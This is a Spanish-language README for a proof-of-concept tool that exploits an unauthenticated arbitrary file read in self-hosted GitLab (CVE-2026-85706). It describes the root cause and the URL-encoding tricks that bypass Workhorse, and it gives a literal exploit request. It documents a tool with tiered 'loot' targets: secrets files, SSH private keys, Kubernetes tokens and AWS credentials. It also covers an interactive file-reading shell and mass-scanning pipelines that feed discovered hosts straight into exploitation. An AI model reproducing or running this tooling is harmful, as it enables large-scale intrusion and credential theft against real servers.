
CVE-2026-85706 · lectura de archivos sin autenticación en GitLab CE/EE · PoC de investigación con modo oracle, enumeración de fd y objetivo de loot por niveles
PoC para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación que afecta a GitLab CE/EE autogestionado.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afectado | 18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1 |
| Corregido | 19.1.8 / 19.2.6 / 19.3.2 (publicado el 2026-09-10) |
| Componente | Repository Commits API / Files API (Workhorse body-upload) |
| Reporter | s3ntago vía GitLab HackerOne |
Tres endpoints de la API de repositorio se encuentran detrás del requestBodyUploader de Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
El handler de Rails llama a File.open(params['file.path']) antes de authenticate!. Cuatro condiciones hacen que esto sea explotable:
1. La autenticación se ejecuta después de la lectura del archivo.
require_gitlab_workhorse! solo verifica el encabezado JWT Gitlab-Workhorse-Api-Request. Workhorse estampa ese encabezado en cada solicitud que proxea, incluyendo passthroughs simples. El authenticate! real vive dentro de authorize_push_to_branch!, que se ejecuta después de que file_params_from_body_upload ya haya leído el archivo del disco.
2. file.path proviene directamente de la solicitud.
file_params_from_body_upload lee params['file.path'] como una ruta absoluta sin validación. En el flujo previsto, Workhorse escribe la carga en un archivo temporal e inyecta ese parámetro por sí mismo. Un atacante simplemente lo envía directamente como un parámetro de cadena de consulta apuntando a cualquier lugar del sistema de archivos.
3. La coincidencia de rutas de Workhorse nunca decodifica el percent-encoding.
Workhorse compara las rutas de carga contra EscapedPath(), los bytes de URL sin procesar tal como se reciben. Puma decodifica las secuencias %XX antes de enrutar a Grape. Por lo tanto, codificar un carácter en un segmento estático hace que Workhorse omita su regla de reescritura mientras Rails sigue enrutando al handler vulnerable:
POST /api/v4/projects/1/repository/commits/ (barra diagonal final)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (sufijo de formato de Grape)
4. Rack devuelve el contenido del archivo en la respuesta de error.
Con Content-Type: application/x-www-form-urlencoded, el contenido del archivo se entrega a Rack::Utils.parse_nested_query. Cualquier % sin dos dígitos hexadecimales a continuación genera InvalidParameterError: invalid %-encoding (<content>). Todo hasta el primer & en el archivo se devuelve en el cuerpo del 400.
Los archivos sin % sin escape aún se leen antes de la autenticación. La respuesta 401 de la rama urlencoded y un 500 de la rama multipart confirman ambas que el archivo existe y es legible por el usuario git, lo que las hace útiles como oráculo de existencia.
Solicitud de exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lee cualquier archivo individual; recurre automáticamente al oráculo si no hay un disparador de eco--loot ejecuta 36 objetivos en 7 niveles, ordenados por probabilidad confirmada de disparador de eco--oracle ejecuta una sonda de doble rama (urlencoded + multipart) contra archivos sin eco e indica si cada uno es legible, inexistente o ilegible--proc enumera /proc/self/fd/0-31 para encontrar descriptores de archivo abiertos, luego lee objetivos de reconocimiento estándar de /proc--shell entra en un shell interactivo de lectura de archivos con los comandos cat, loot, oracle, project y curl--pipe lee objetivos desde stdin y maneja salida de subfinder, texto de httpx, JSON de httpx, JSON de nuclei y líneas de host sin procesar--list toma un archivo de objetivos, uno por línea--threads para escaneo masivo concurrente--proxy enruta todo a través de Burp o mitmproxy--raw escribe bytes sin procesar en stdout sin decoración, útil para redirigir a un archivo--full ejecuta loot, oracle y proc en una sola pasada-opip install requests
python3 gitread.py -h
Requiere Python 3.10 o superior. Sin otras dependencias.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin se detecta automáticamente cuando no es un TTY, por lo que --pipe es opcional en la mayoría de los casos.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Veredicto | Significado |
|---|---|
leak | Contenido del archivo devuelto en el cuerpo del 400, lectura confirmada |
leak-frag | Eco parcial mediante error de tipo de parámetro |
read-noecho | El archivo se leyó antes de la autenticación pero no tiene % sin escape, por lo que no se devolvió nada |
READABLE | La rama multipart devolvió 500, el archivo existe y es legible por el usuario git |
missing | El servidor indicó que el archivo local no está presente |
rewrite | Workhorse reescribió el cuerpo, esta forma de bypass está muerta |
noroute | Rails 404, la instancia está parcheada o la ruta es incorrecta |
server-error | 500, el archivo existe pero causó un error de análisis |
| Nivel | Archivos | Eco |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | El contenido se filtra directamente |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Solo oráculo, hex puro |
| 3 | .gitlab_workhorse_secret | Solo oráculo |
| 4 | Claves privadas SSH y authorized_keys | Solo oráculo |
| 5 | gitlab-shell.yml, gitaly.toml, configuración de PostgreSQL | Solo oráculo |
| 6 | Token de cuenta de servicio de Kubernetes, credenciales de AWS | Solo oráculo |
| 7 | Hostname, hosts, passwd, os-release, environ | Solo oráculo |